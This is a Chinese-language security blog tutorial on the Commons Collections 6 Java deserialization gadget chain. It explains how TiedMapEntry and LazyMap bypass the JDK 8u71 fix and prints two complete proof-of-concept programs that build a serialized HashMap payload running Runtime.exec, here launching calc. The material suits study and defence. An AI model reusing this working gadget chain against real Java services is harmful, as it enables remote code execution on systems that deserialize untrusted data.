Java安全之CommonsCollections6链

2023-05-16 11:04:18 浏览数 (1)

  • 前言
上回说到,JDK 8u71后官方修改了AnnotationInvocationHandler类中的readObject()函数导致了在高版本下 cc1 链不可利用的问题,所以这篇文章就来介绍新的链子弥补这个缺陷,cc6链比较通用。

在8u71后不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的 Map 不再执行 set 或 put 操作,也就不会触发RCE了

触发利用链的关键在于找到触发transform方法的地方,cc1链中说过LazyMap中 get 方法在 get 不到值时就会调用transform方法去获取一个值。而LazyMap是通过invoke方法触发 get 方法的,所以解决高版本利用链问题核心就是寻找其他调用LazyMap类get方法的点

TiedMapEntry类

这时候我们找到的类就是org.apache.commons.collections.keyvalue.TiedMapEntry

代码语言:javascript复制
package org.apache.commons.collections.keyvalue;

import java.io.Serializable;
import java.util.Map;
import org.apache.commons.collections.KeyValue;

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }
	// ...

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }
	// ...
}

查看TiedMapEntry类源码即可发现,在getvalue()方法调用了Map的get()方法,而在hashCode()方法中又调用了getValue()方法,所以现在需要思考怎么调用TiedMapEntry类中的hashCode()方法

根据URLDNS链,HashMapreadObject()方法中调用了hash(key),而hash方法又调用了key.hashCode()。所以只需要让这个key等于TiedMapEntry对象即可调用其hashCode()方法从而触发漏洞

完整POC
代码语言:javascript复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6_1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc" }),};
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        // 将LazyMap作为TiedMapEntry的map属性传入触发LazyMap.get()
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        // 将TiedMapEntry作为HashMap的key属性传入触发TiedMapEntry.hashCode()
        expMap.put(tme, "valuevalue");
        
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

在cc6中,我们同样可以像cc1一样,首先添加一个假的Transformer数组,然后最后再将真正有危害的添加进去,这样可以避免许多问题。但当我们加上假的Transformer数组,后面再变成真的之后,会发现一个问题,那就是命令并没有执行。

对这条链子进行调试可以发现问题出现在expMap.put(tme, "valuevalue");

代码语言:javascript复制
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

HashMap.put()方法里也调用了hash()方法,相当于把整个漏洞触发的过程提前触发了。而第一次传入的是假的Transformer数组,这时候super.map.containsKey(key)返回false进入 if 语句执行super.map.put()操作,把”keykey”放进去了就出问题了。第二次真正的Transformer数组传进来时map.containsKey(key)true,就进不了 if 而无法触发漏洞

这里的解决方法也就很简单,只需要将这个Key,再从outerMap中移除即可: outerMap.remove("keykey");

最终POC链
代码语言:javascript复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections_6 {
    public static void main(String[] args) throws Exception {
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),};
        Transformer transformerChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        setFieldValue(transformerChain, "iTransformers", transformers);

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }

    public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field1 = obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj, value);
    }
}

参考链接: https://juejin.cn/post/7130505267074203656 Java篇之ysoserial中的一些操作 Java篇Commons Collections 6

0 人点赞